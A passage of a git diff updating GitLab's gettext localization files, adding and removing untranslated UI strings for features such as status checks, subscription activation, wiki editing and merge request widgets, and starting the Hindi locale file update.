@@ -29203,6 +29730,9 @@ msgstr ""
msgid "Select a repository"
msgstr ""
+msgid "Select a shared template repository for all projects on this instance."
+msgstr ""
+
msgid "Select a template repository"
msgstr ""
@@ -29437,6 +29967,9 @@ msgstr ""
msgid "Serverless domain"
msgstr ""
+msgid "Serverless platform"
+msgstr ""
+
msgid "ServerlessDetails|Function invocation metrics require Prometheus to be installed first."
msgstr ""
@@ -29590,9 +30123,6 @@ msgstr ""
msgid "Set due date"
msgstr ""
-msgid "Set instance-wide template repository"
-msgstr ""
-
msgid "Set iteration"
msgstr ""
@@ -29827,9 +30357,6 @@ msgstr ""
msgid "Shared runners are disabled on group level"
msgstr ""
-msgid "Shared runners disabled on group level"
-msgstr ""
-
msgid "Shared runners help link"
msgstr ""
@@ -30072,6 +30599,12 @@ msgstr ""
msgid "Sign-up restrictions"
msgstr ""
+msgid "SignUp|By clicking %{button_text}, I agree that I have read and accepted the %{link_start}Terms of Use and Privacy Policy%{link_end}"
+msgstr ""
+
+msgid "SignUp|By clicking %{button_text}, I agree that I have read and accepted the GitLab %{link_start}Terms of Use and Privacy Policy%{link_end}"
+msgstr ""
+
msgid "SignUp|First name is too long (maximum is %{max_length} characters)."
msgstr ""
@@ -30165,6 +30698,9 @@ msgstr ""
msgid "SlackService|This service allows users to perform common operations on this project by entering slash commands in Slack."
msgstr ""
+msgid "Slice multiplier"
+msgstr ""
+
msgid "Smartcard"
msgstr ""
@@ -30402,6 +30938,9 @@ msgstr ""
msgid "Something went wrong while setting %{issuableType} confidentiality."
msgstr ""
+msgid "Something went wrong while setting %{issuableType} notifications."
+msgstr ""
+
msgid "Something went wrong while stopping this environment. Please try again."
msgstr ""
@@ -30708,6 +31247,9 @@ msgstr ""
msgid "Speed up your pipelines with Needs relationships"
msgstr ""
+msgid "Spent At"
+msgstr ""
+
msgid "Squash commit message"
msgstr ""
@@ -30723,10 +31265,13 @@ msgstr ""
msgid "Stage"
msgstr ""
-msgid "Stage data updated"
+msgid "StageName|Build"
msgstr ""
-msgid "Stage removed"
+msgid "StageName|Deploy"
+msgstr ""
+
+msgid "StageName|Test"
msgstr ""
msgid "Standard"
@@ -30948,18 +31493,57 @@ msgstr ""
msgid "StatusCheck|API to check"
msgstr ""
+msgid "StatusCheck|Add status check"
+msgstr ""
+
+msgid "StatusCheck|An error occurred deleting the %{name} status check."
+msgstr ""
+
+msgid "StatusCheck|An error occurred fetching the status checks."
+msgstr ""
+
+msgid "StatusCheck|Apply this status check to any branch or a specific protected branch."
+msgstr ""
+
+msgid "StatusCheck|Check for a status response in Merge Requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
+msgstr ""
+
+msgid "StatusCheck|Examples: QA, Security."
+msgstr ""
+
+msgid "StatusCheck|External API is already in use by another status check."
+msgstr ""
+
msgid "StatusCheck|Invoke an external API as part of the approvals"
msgstr ""
+msgid "StatusCheck|Invoke an external API as part of the pipeline process."
+msgstr ""
+
+msgid "StatusCheck|No status checks are defined yet."
+msgstr ""
+
msgid "StatusCheck|Remove status check"
msgstr ""
msgid "StatusCheck|Remove status check?"
msgstr ""
+msgid "StatusCheck|Service name"
+msgstr ""
+
+msgid "StatusCheck|Status checks"
+msgstr ""
+
msgid "StatusCheck|Status to check"
msgstr ""
+msgid "StatusCheck|Target branch"
+msgstr ""
+
+msgid "StatusCheck|Update status check"
+msgstr ""
+
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
@@ -30993,9 +31577,6 @@ msgstr ""
msgid "StatusPage|Status page URL"
msgstr ""
-msgid "StatusPage|Status page frontend documentation"
-msgstr ""
-
msgid "StatusPage|To publish incidents to an external status page, GitLab stores a JSON file in your Amazon S3 account at a location that your external status page service can access. Make sure to also set up %{docsLink}"
msgstr ""
@@ -31050,6 +31631,9 @@ msgstr ""
msgid "StorageSize|Unknown"
msgstr ""
+msgid "Subgroup information"
+msgstr ""
+
msgid "Subgroup milestone"
msgstr ""
@@ -31155,6 +31739,9 @@ msgstr ""
msgid "Subscription deletion failed."
msgstr ""
+msgid "Subscription service outage"
+msgstr ""
+
msgid "Subscription successfully applied to \"%{group_name}\""
msgstr ""
@@ -31266,6 +31853,9 @@ msgstr ""
msgid "Successfully approved"
msgstr ""
+msgid "Successfully banned"
+msgstr ""
+
msgid "Successfully blocked"
msgstr ""
@@ -31290,6 +31880,9 @@ msgstr ""
msgid "Successfully synced %{synced_timeago}."
msgstr ""
+msgid "Successfully unbanned"
+msgstr ""
+
msgid "Successfully unblocked"
msgstr ""
@@ -31401,42 +31994,93 @@ msgstr ""
msgid "Sunday"
msgstr ""
+msgid "SuperSonics|Activate"
+msgstr ""
+
+msgid "SuperSonics|Activate subscription"
+msgstr ""
+
msgid "SuperSonics|Activated on"
msgstr ""
+msgid "SuperSonics|Activation code"
+msgstr ""
+
+msgid "SuperSonics|An error occurred while activating your subscription."
+msgstr ""
+
+msgid "SuperSonics|Billable users"
+msgstr ""
+
+msgid "SuperSonics|Buy subscription"
+msgstr ""
+
+msgid "SuperSonics|Enter activation code"
+msgstr ""
+
msgid "SuperSonics|Expires on"
msgstr ""
+msgid "SuperSonics|Free trial"
+msgstr ""
+
+msgid "SuperSonics|Get help for the most common connectivity issues by %{linkStart}troubleshooting the activation code%{linkEnd}."
+msgstr ""
+
+msgid "SuperSonics|I agree that my use of the GitLab Software is subject to the Subscription Agreement located at the %{linkStart}Terms of Service%{linkEnd}, unless otherwise agreed to in writing with GitLab."
+msgstr ""
+
msgid "SuperSonics|ID"
msgstr ""
msgid "SuperSonics|Last Sync"
msgstr ""
+msgid "SuperSonics|Learn how to %{linkStart}activate your subscription%{linkEnd}."
+msgstr ""
+
msgid "SuperSonics|Licensed to"
msgstr ""
msgid "SuperSonics|Manage"
msgstr ""
+msgid "SuperSonics|Maximum users"
+msgstr ""
+
+msgid "SuperSonics|Paste your activation code"
+msgstr ""
+
msgid "SuperSonics|Plan"
msgstr ""
+msgid "SuperSonics|Ready to get started? A GitLab plan is ideal for scaling organizations and for multi team usage."
+msgstr ""
+
msgid "SuperSonics|Renews"
msgstr ""
msgid "SuperSonics|Seats"
msgstr ""
+msgid "SuperSonics|Start free trial"
+msgstr ""
+
msgid "SuperSonics|Started"
msgstr ""
+msgid "SuperSonics|Subscription"
+msgstr ""
+
msgid "SuperSonics|Subscription details"
msgstr ""
msgid "SuperSonics|Sync subscription details"
msgstr ""
+msgid "SuperSonics|The activation code is not valid. Please make sure to copy it exactly from the Customers Portal or confirmation email. Learn more about %{linkStart}activating your subscription%{linkEnd}."
+msgstr ""
+
msgid "SuperSonics|The subscription details synced successfully."
msgstr ""
@@ -31446,18 +32090,48 @@ msgstr ""
msgid "SuperSonics|This field is required."
msgstr ""
+msgid "SuperSonics|This is the highest peak of users on your installation since the license started."
+msgstr ""
+
+msgid "SuperSonics|This is the number of %{billableUsersLinkStart}billable users%{billableUsersLinkEnd} on your installation, and this is the minimum number you need to purchase when you renew your license."
+msgstr ""
+
+msgid "SuperSonics|To activate your subscription, connect to GitLab servers through the %{linkStart}Cloud Licensing%{linkEnd} service, a hassle-free way to manage your subscription."
+msgstr ""
+
msgid "SuperSonics|Type"
msgstr ""
+msgid "SuperSonics|Upload a legacy license"
+msgstr ""
+
+msgid "SuperSonics|Users in subscription"
+msgstr ""
+
+msgid "SuperSonics|Users over subscription"
+msgstr ""
+
+msgid "SuperSonics|Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
+msgstr ""
+
msgid "SuperSonics|Valid From"
msgstr ""
+msgid "SuperSonics|You can learn more about %{activationLinkStart}activating your subscription%{activationLinkEnd}. If you need further assistance, please %{supportLinkStart}contact GitLab Support%{supportLinkEnd}."
+msgstr ""
+
msgid "SuperSonics|You can no longer sync your subscription details with GitLab. Get help for the most common connectivity issues by %{connectivityHelpLinkStart}troubleshooting the activation code%{connectivityHelpLinkEnd}."
msgstr ""
+msgid "SuperSonics|You can start a free trial of GitLab Ultimate without any obligation or payment details."
+msgstr ""
+
msgid "SuperSonics|You do not have an active subscription"
msgstr ""
+msgid "SuperSonics|You'll be charged for %{trueUpLinkStart}users over license%{trueUpLinkEnd} on a quarterly or annual basis, depending on the terms of your agreement."
+msgstr ""
+
msgid "SuperSonics|Your subscription"
msgstr ""
@@ -31476,6 +32150,9 @@ msgstr ""
msgid "Survey Response"
msgstr ""
+msgid "Switch Branch"
+msgstr ""
+
msgid "Switch branch/tag"
msgstr ""
@@ -31698,6 +32375,9 @@ msgstr ""
msgid "Template to append to all Service Desk issues"
msgstr ""
+msgid "TemplateRepository|Select a repository to make its templates available to all projects. %{link_start}What should the repository contain?%{link_end} "
+msgstr ""
+
msgid "Templates"
msgstr ""
@@ -31856,9 +32536,6 @@ msgstr ""
msgid "Test Cases"
msgstr ""
-msgid "Test cases are not available for this project"
-msgstr ""
-
msgid "Test coverage parsing"
msgstr ""
@@ -32002,6 +32679,9 @@ msgstr ""
msgid "Tests"
msgstr ""
+msgid "Text style"
+msgstr ""
+
msgid "Thank you for signing up for your free trial! You will get additional instructions in your inbox shortly."
msgstr ""
@@ -32032,7 +32712,7 @@ msgstr ""
msgid "The \"%{group_path}\" group allows you to sign in with your Single Sign-On Account"
msgstr ""
-msgid "The \"Require approval from CODEOWNERS\" setting was moved to %{banner_link_start}Protected Branches%{banner_link_end}"
+msgid "The %{featureName} feature is part of your GitLab Ultimate trial."
msgstr ""
msgid "The %{link_start}true-up model%{link_end} allows having more users, and additional users will incur a retroactive charge on renewal."
@@ -32057,6 +32737,9 @@ msgstr ""
msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
msgstr ""
+msgid "The GitLab subscription service (customers.gitlab.com) is currently experiencing an outage. You can monitor the status and get updates at %{linkStart}status.gitlab.com%{linkEnd}."
+msgstr ""
+
msgid "The GitLab user to which the Jira user %{jiraDisplayName} will be mapped"
msgstr ""
@@ -32250,6 +32933,9 @@ msgstr ""
msgid "The interval must be one of %{intervals}."
msgstr ""
+msgid "The invitation can not be found with the provided invite token."
+msgstr ""
+
msgid "The invitation could not be accepted."
msgstr ""
@@ -32295,6 +32981,9 @@ msgstr ""
msgid "The maximum file size is %{size}."
msgstr ""
+msgid "The maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
+msgstr ""
+
msgid "The maximum number of tags that a single worker accepts for cleanup. If the number of tags goes above this limit, the list of tags to delete is truncated to this number. To remove this limit, set it to 0."
msgstr ""
@@ -32313,9 +33002,6 @@ msgstr ""
msgid "The merge request can now be merged."
msgstr ""
-msgid "The merge request has made changes to this file that affect the number of code quality violations in it."
-msgstr ""
-
msgid "The metric must be one of %{metrics}."
msgstr ""
@@ -32619,9 +33305,6 @@ msgstr ""
msgid "There are running deployments on the environment. Please retry later."
msgstr ""
-msgid "There is a connectivity issue"
-msgstr ""
-
msgid "There is a halted Elasticsearch migration"
msgstr ""
@@ -32688,12 +33371,6 @@ msgstr ""
msgid "There was a problem fetching users."
msgstr ""
-msgid "There was a problem refreshing the data, please try again"
-msgstr ""
-
-msgid "There was a problem saving your custom stage, please try again"
-msgstr ""
-
msgid "There was a problem sending the confirmation email"
msgstr ""
@@ -32721,6 +33398,9 @@ msgstr ""
msgid "There was an error fetching configuration for charts"
msgstr ""
+msgid "There was an error fetching content, please refresh the page"
+msgstr ""
+
msgid "There was an error fetching data for the selected stage"
msgstr ""
@@ -32784,9 +33464,6 @@ msgstr ""
msgid "There was an error removing the e-mail."
msgstr ""
-msgid "There was an error removing your custom stage, please try again"
-msgstr ""
-
msgid "There was an error resetting group pipeline minutes."
msgstr ""
@@ -32829,9 +33506,6 @@ msgstr ""
msgid "There was an error updating the dashboard, branch named: %{branch} already exists."
msgstr ""
-msgid "There was an error updating the stage order. Please try reloading the page."
-msgstr ""
-
msgid "There was an error when reseting email token."
msgstr ""
@@ -32955,7 +33629,10 @@ msgstr ""
msgid "This also resolves this thread"
msgstr ""
-msgid "This application was created by %{link_to_owner}."
+msgid "This application was created by %{user_link}."
+msgstr ""
+
+msgid "This application was created for group %{group_link}."
msgstr ""
msgid "This application will be able to:"
@@ -33057,9 +33734,6 @@ msgstr ""
msgid "This feature requires local storage to be enabled"
msgstr ""
-msgid "This feature should be used with an index that was created after 13.0"
-msgstr ""
-
msgid "This field is required."
msgstr ""
@@ -33393,6 +34067,9 @@ msgstr ""
msgid "This user has the %{access} role in the %{name} project."
msgstr ""
+msgid "This user is banned"
+msgstr ""
+
msgid "This user is blocked"
msgstr ""
@@ -33435,9 +34112,6 @@ msgstr ""
msgid "ThreatMonitoring|Anomalous Requests"
msgstr ""
-msgid "ThreatMonitoring|Application firewall not detected"
-msgstr ""
-
msgid "ThreatMonitoring|Container Network Policies are not installed or have been disabled. To view this data, ensure your Network Policies are installed and enabled for your cluster."
msgstr ""
@@ -33462,6 +34136,9 @@ msgstr ""
msgid "ThreatMonitoring|Events"
msgstr ""
+msgid "ThreatMonitoring|Failed to create incident, please try again."
+msgstr ""
+
msgid "ThreatMonitoring|Hide dismissed alerts"
msgstr ""
@@ -33513,9 +34190,6 @@ msgstr ""
msgid "ThreatMonitoring|Status"
msgstr ""
-msgid "ThreatMonitoring|The firewall is not installed or has been disabled. To view this data, ensure the web application firewall is installed and enabled for your cluster."
-msgstr ""
-
msgid "ThreatMonitoring|There was an error displaying the alerts. Confirm your endpoint's configuration details to ensure alerts appear."
msgstr ""
@@ -33546,12 +34220,6 @@ msgstr ""
msgid "ThreatMonitoring|View documentation"
msgstr ""
-msgid "ThreatMonitoring|Web Application Firewall"
-msgstr ""
-
-msgid "ThreatMonitoring|While it's rare to have no traffic coming to your application, it can happen. In any event, we ask that you double check your settings to make sure you've set up the WAF correctly."
-msgstr ""
-
msgid "Throughput"
msgstr ""
@@ -33561,6 +34229,9 @@ msgstr ""
msgid "Time"
msgstr ""
+msgid "Time Spent"
+msgstr ""
+
msgid "Time based: Yes"
msgstr ""
@@ -33612,6 +34283,9 @@ msgstr ""
msgid "Time tracking"
msgstr ""
+msgid "Time tracking report"
+msgstr ""
+
msgid "Time until first merge request"
msgstr ""
@@ -33791,9 +34465,6 @@ msgstr[3] ""
msgid "Time|s"
msgstr ""
-msgid "Tip:"
-msgstr ""
-
msgid "Tip: Hover over a job to see the jobs it depends on to run."
msgstr ""
@@ -33908,9 +34579,6 @@ msgstr ""
msgid "To only use CI/CD features for an external repository, choose %{strong_open}CI/CD for external repo%{strong_close}."
msgstr ""
-msgid "To open Jaeger from GitLab to view tracing from the %{link} page, add a URL to your Jaeger server."
-msgstr ""
-
msgid "To pass variables to the triggered pipeline, add %{code_start}variables[VARIABLE]=VALUE%{code_end} to the API request."
msgstr ""
@@ -34028,13 +34696,13 @@ msgstr ""
msgid "Toggle project select"
msgstr ""
-msgid "Toggle sidebar"
+msgid "Toggle shortcuts"
msgstr ""
-msgid "Toggle the Performance Bar"
+msgid "Toggle sidebar"
msgstr ""
-msgid "Toggle this dialog"
+msgid "Toggle the Performance Bar"
msgstr ""
msgid "Toggle thread"
@@ -34064,9 +34732,6 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
-msgid "Too much data"
-msgstr ""
-
msgid "Topics (optional)"
msgstr ""
@@ -34266,6 +34931,9 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
+msgid "Trigger cluster reindexing. This feature should be used with an index that was created after 13.0."
+msgstr ""
+
msgid "Trigger manual job"
msgstr ""
@@ -34491,6 +35159,9 @@ msgstr ""
msgid "Unable to fetch branch list for this project."
msgstr ""
+msgid "Unable to fetch branches list, please close the form and try again"
+msgstr ""
+
msgid "Unable to fetch unscanned projects"
msgstr ""
@@ -34734,6 +35405,9 @@ msgstr ""
msgid "Until"
msgstr ""
+msgid "Unused"
+msgstr ""
+
msgid "Unused, previous indices: %{index_names} will be deleted after %{time} automatically."
msgstr ""
@@ -34893,6 +35567,9 @@ msgstr ""
msgid "Upload file"
msgstr ""
+msgid "Upload license"
+msgstr ""
+
msgid "Upload object map"
msgstr ""
@@ -35214,6 +35891,9 @@ msgstr ""
msgid "Use your smart card to authenticate with the LDAP server."
msgstr ""
+msgid "Used"
+msgstr ""
+
msgid "Used by members to sign in to your group in GitLab"
msgstr ""
@@ -35223,6 +35903,9 @@ msgstr ""
msgid "Used programming language"
msgstr ""
+msgid "Used to calculate the number of slices during reindexing. The multiplier will be applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
+msgstr ""
+
msgid "Used to help configure your identity provider"
msgstr ""
@@ -35331,27 +36014,45 @@ msgstr ""
msgid "UserLists|Feature flag user list"
msgstr ""
+msgid "UserLists|Get started with user lists"
+msgstr ""
+
msgid "UserLists|Lists allow you to define a set of users to be used with feature flags. %{linkStart}Read more about feature flag lists.%{linkEnd}"
msgstr ""
+msgid "UserLists|Loading user lists"
+msgstr ""
+
msgid "UserLists|Name"
msgstr ""
msgid "UserLists|New list"
msgstr ""
+msgid "UserLists|New user list"
+msgstr ""
+
msgid "UserLists|Save"
msgstr ""
msgid "UserLists|There are no users"
msgstr ""
+msgid "UserLists|There was an error fetching the user lists."
+msgstr ""
+
msgid "UserLists|User ID"
msgstr ""
msgid "UserLists|User IDs"
msgstr ""
+msgid "UserLists|User Lists"
+msgstr ""
+
+msgid "UserLists|User lists allow you to define a set of users to use with Feature Flags."
+msgstr ""
+
msgid "UserList|Delete %{name}?"
msgstr ""
@@ -35484,6 +36185,9 @@ msgstr ""
msgid "UserProfile|made a private contribution"
msgstr ""
+msgid "Username (for password-protected Elasticsearch servers)"
+msgstr ""
+
msgid "Username (optional)"
msgstr ""
@@ -35505,6 +36209,9 @@ msgstr ""
msgid "Users"
msgstr ""
+msgid "Users can launch a development environment from a GitLab browser tab when the %{linkStart}Gitpod%{linkEnd} integration is enabled."
+msgstr ""
+
msgid "Users in License"
msgstr ""
@@ -35616,6 +36323,9 @@ msgstr ""
msgid "ValueStreamAnalytics|Total number of deploys to production."
msgstr ""
+msgid "ValueStreamEvent|Items in stage"
+msgstr ""
+
msgid "ValueStreamEvent|Stage time (median)"
msgstr ""
@@ -36185,15 +36895,15 @@ msgstr ""
msgid "We don't have enough data to show this stage."
msgstr ""
-msgid "We encountered an error and our team has been notified. Please try again."
-msgstr ""
-
msgid "We have found the following errors:"
msgstr ""
msgid "We heard back from your device. You have been authenticated."
msgstr ""
+msgid "We love speaking to our users. Got more to say about your GitLab experiences?"
+msgstr ""
+
msgid "We recommend cloud-based mobile authenticator apps such as Authy, Duo Mobile, and LastPass. They can restore access if you lose your hardware device."
msgstr ""
@@ -36233,9 +36943,6 @@ msgstr ""
msgid "We've found no vulnerabilities"
msgstr ""
-msgid "Web Application Firewall"
-msgstr ""
-
msgid "Web IDE"
msgstr ""
@@ -36263,16 +36970,16 @@ msgstr ""
msgid "WebIDE|This project does not accept unsigned commits."
msgstr ""
-msgid "WebIDE|This project does not accept unsigned commits. You will not be able to commit your changes through the Web IDE."
+msgid "WebIDE|This project does not accept unsigned commits. You can’t commit changes through the Web IDE."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project."
+msgid "WebIDE|You can’t edit files directly in this project. Fork this project and submit a merge request with your changes."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project. Fork this project to make your changes and submit a merge request."
+msgid "WebIDE|You can’t edit files directly in this project. Go to your fork and submit a merge request with your changes."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project. Go to your fork to make changes and submit a merge request."
+msgid "WebIDE|You need permission to edit files directly in this project."
msgstr ""
msgid "WebexTeamsService|Send notifications about project events to Webex Teams."
@@ -36305,9 +37012,6 @@ msgstr ""
msgid "Webhooks allow you to trigger a URL if, for example, new code is pushed or a new issue is created. You can configure webhooks to listen for specific events like pushes, issues or merge requests. Group webhooks will apply to all projects in a group, allowing you to standardize webhook functionality across your entire group."
msgstr ""
-msgid "Webhooks have moved. They can now be found under the Settings menu."
-msgstr ""
-
msgid "Webhooks|Comments"
msgstr ""
@@ -36552,6 +37256,9 @@ msgstr ""
msgid "Who will be using this GitLab trial?"
msgstr ""
+msgid "Why are you signing up? (Optional)"
+msgstr ""
+
msgid "Wiki"
msgstr ""
@@ -36660,6 +37367,12 @@ msgstr ""
msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
+msgid "WikiPage|An error occured while trying to render the content editor. Please try again later."
+msgstr ""
+
+msgid "WikiPage|Are you sure you want to switch to the old editor?"
+msgstr ""
+
msgid "WikiPage|Cancel"
msgstr ""
@@ -36678,12 +37391,18 @@ msgstr ""
msgid "WikiPage|Format"
msgstr ""
+msgid "WikiPage|Keep editing"
+msgstr ""
+
msgid "WikiPage|More Information."
msgstr ""
msgid "WikiPage|Page title"
msgstr ""
+msgid "WikiPage|Retry"
+msgstr ""
+
msgid "WikiPage|Save changes"
msgstr ""
@@ -36693,6 +37412,12 @@ msgstr ""
msgid "WikiPage|Switching to the old editor will discard any changes you've made in the new editor."
msgstr ""
+msgid "WikiPage|Switching will discard any changes you've made in the new editor."
+msgstr ""
+
+msgid "WikiPage|This editor is in beta and may not display the page's contents properly."
+msgstr ""
+
msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
msgstr ""
@@ -36714,9 +37439,6 @@ msgstr ""
msgid "WikiPage|Write your content or drag files here…"
msgstr ""
-msgid "WikiPage|You are editing this page with Content Editor. This editor is in beta and may not display the page's contents properly."
-msgstr ""
-
msgid "Wikis"
msgstr ""
@@ -36885,6 +37607,9 @@ msgstr ""
msgid "You are not allowed to approve a user"
msgstr ""
+msgid "You are not allowed to log in using password"
+msgstr ""
+
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
@@ -37089,6 +37814,9 @@ msgstr ""
msgid "You cannot write to this read-only GitLab instance."
msgstr ""
+msgid "You can’t %{tag_start}edit%{tag_end} files directly in this project. Fork this project and submit a merge request with your changes."
+msgstr ""
+
msgid "You could not create a new trigger."
msgstr ""
@@ -37200,9 +37928,15 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
+msgid "You have insufficient permissions to create an escalation policy for this project"
+msgstr ""
+
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
+msgid "You have insufficient permissions to remove an escalation policy from this project"
+msgstr ""
+
msgid "You have insufficient permissions to remove an on-call rotation from this project"
msgstr ""
@@ -37485,10 +38219,10 @@ msgstr ""
msgid "Your SSH keys (%{count})"
msgstr ""
-msgid "Your SSH keys with the following fingerprints are scheduled to expire soon:"
+msgid "Your SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys will not be usable in future versions of GitLab:"
msgstr ""
-msgid "Your SSH keys with the following fingerprints has expired:"
+msgid "Your SSH keys with the following fingerprints have expired. Expired SSH keys will not be usable in future versions of GitLab:"
msgstr ""
msgid "Your To-Do List"
@@ -37527,6 +38261,9 @@ msgstr ""
msgid "Your authorized applications"
msgstr ""
+msgid "Your browser does not support iFrames"
+msgstr ""
+
msgid "Your browser doesn't support U2F. Please use Google Chrome desktop (version 41 or newer)."
msgstr ""
@@ -37557,9 +38294,6 @@ msgstr ""
msgid "Your comment will be discarded."
msgstr ""
-msgid "Your custom stage '%{title}' was created"
-msgstr ""
-
msgid "Your dashboard has been copied. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
@@ -37759,9 +38493,6 @@ msgstr ""
msgid "already shared with this group"
msgstr ""
-msgid "among other things"
-msgstr ""
-
msgid "and"
msgstr ""
@@ -38099,6 +38830,45 @@ msgstr ""
msgid "closed issue"
msgstr ""
+msgid "codeQualityWalkthrough|A code quality job will now run every time you or your team members commit changes to your project. You can view the results of the code quality job in the job logs."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Congrats! Your first pipeline is running %{emojiStart}zap%{emojiEnd}"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Got it"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Let's start by creating a new CI file."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Not sure how to fix your failed job? We have compiled some tips on how to troubleshoot code quality jobs in the documentation."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Read the documentation"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Something went wrong. %{emojiStart}thinking%{emojiEnd} Let's fix it."
+msgstr ""
+
+msgid "codeQualityWalkthrough|To begin with code quality, we first need to create a new CI file using our code editor. We added a code quality template in the code editor to help you get started %{emojiStart}wink%{emojiEnd} .%{lineBreak}Take some time to review the template, when you are ready, use the %{strongStart}commit changes%{strongEnd} button at the bottom of the page."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Troubleshoot your code quality job"
+msgstr ""
+
+msgid "codeQualityWalkthrough|View the logs"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Well done! You've just automated your code quality review. %{emojiStart}raised_hands%{emojiEnd}"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Your job failed. No worries - this happens. Let's view the logs, and see how we can fix it."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Your pipeline can take a few minutes to run. If you enabled email notifications, you'll receive an email with your pipeline status. In the meantime, why don't you get some coffee? You earned it!"
+msgstr ""
+
msgid "collect usage information"
msgstr ""
@@ -38350,6 +39120,9 @@ msgstr ""
msgid "https://your-bitbucket-server"
msgstr ""
+msgid "i18n|%{language} (%{percent_translated}%% translated)"
+msgstr ""
+
msgid "image diff"
msgstr ""
@@ -38429,7 +39202,7 @@ msgstr ""
msgid "is not valid. The iteration group has to match the iteration cadence group."
msgstr ""
-msgid "is read only"
+msgid "is read-only"
msgstr ""
msgid "is too long (%{current_value}). The maximum size is %{max_size}."
@@ -38532,6 +39305,9 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "merge request approvals"
+msgstr ""
+
msgid "merged %{timeAgo}"
msgstr ""
@@ -38592,9 +39368,6 @@ msgstr ""
msgid "mrWidget|Added to the merge train. There are %{mergeTrainPosition} merge requests waiting to be merged"
msgstr ""
-msgid "mrWidget|Allows commits from members who can merge to the target branch"
-msgstr ""
-
msgid "mrWidget|An error occurred while removing your approval."
msgstr ""
@@ -38622,10 +39395,7 @@ msgstr ""
msgid "mrWidget|Are you adding technical debt or code vulnerabilities?"
msgstr ""
-msgid "mrWidget|Before this can be merged, one or more threads must be resolved."
-msgstr ""
-
-msgid "mrWidget|Cancel automatic merge"
+msgid "mrWidget|Cancel"
msgstr ""
msgid "mrWidget|Check out branch"
@@ -38667,9 +39437,6 @@ msgstr ""
msgid "mrWidget|Fast-forward merge is not possible. To merge this request, first rebase locally."
msgstr ""
-msgid "mrWidget|Fork project merge requests do not create merge request pipelines that validate a post merge result unless invoked by a project member."
-msgstr ""
-
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr ""
@@ -38685,12 +39452,18 @@ msgstr ""
msgid "mrWidget|Mark as ready"
msgstr ""
+msgid "mrWidget|Members who can merge are allowed to add commits."
+msgstr ""
+
msgid "mrWidget|Mentions"
msgstr ""
msgid "mrWidget|Merge"
msgstr ""
+msgid "mrWidget|Merge blocked: all threads must be resolved."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr ""
@@ -39104,6 +39877,12 @@ msgstr ""
msgid "satisfied"
msgstr ""
+msgid "scan-execution-policy: policy not applied, %{policy_path} file is invalid"
+msgstr ""
+
+msgid "scan-execution-policy: policy not applied, %{policy_path} file is missing"
+msgstr ""
+
msgid "security Reports|There was an error creating the merge request"
msgstr ""
@@ -39227,6 +40006,9 @@ msgstr ""
msgid "the wiki"
msgstr ""
+msgid "then"
+msgstr ""
+
msgid "this document"
msgstr ""
diff --git a/locale/hi_IN/gitlab.po b/locale/hi_IN/gitlab.po
index f6e4f967566..28a23735420 100644
--- a/locale/hi_IN/gitlab.po
+++ b/locale/hi_IN/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: hi\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-05-03 22:13\n"
+"PO-Revision-Date: 2021-06-01 20:24\n"
msgid " %{name}, confirm your email address now! "
msgstr ""
@@ -267,6 +267,11 @@ msgid_plural "%d issues successfully imported with the label"
msgstr[0] ""
msgstr[1] ""
+msgid "%d item"
+msgid_plural "%d items"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d layer"
msgid_plural "%d layers"
msgstr[0] ""
@@ -553,9 +558,6 @@ msgstr ""
msgid "%{global_id} is not a valid ID for %{expected_types}."
msgstr ""
-msgid "%{group_docs_link_start}Groups%{group_docs_link_end} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects."
-msgstr ""
-
msgid "%{group_name} activity"
msgstr ""
@@ -658,10 +660,10 @@ msgstr ""
msgid "%{link_start}Read more%{link_end} about role permissions"
msgstr ""
-msgid "%{link_start}Remove the %{draft_or_wip_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
+msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
-msgid "%{link_start}Start the title with %{draft_snippet} or %{wip_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
+msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
msgstr ""
msgid "%{listToShow}, and %{awardsListLength} more."
@@ -800,6 +802,12 @@ msgstr ""
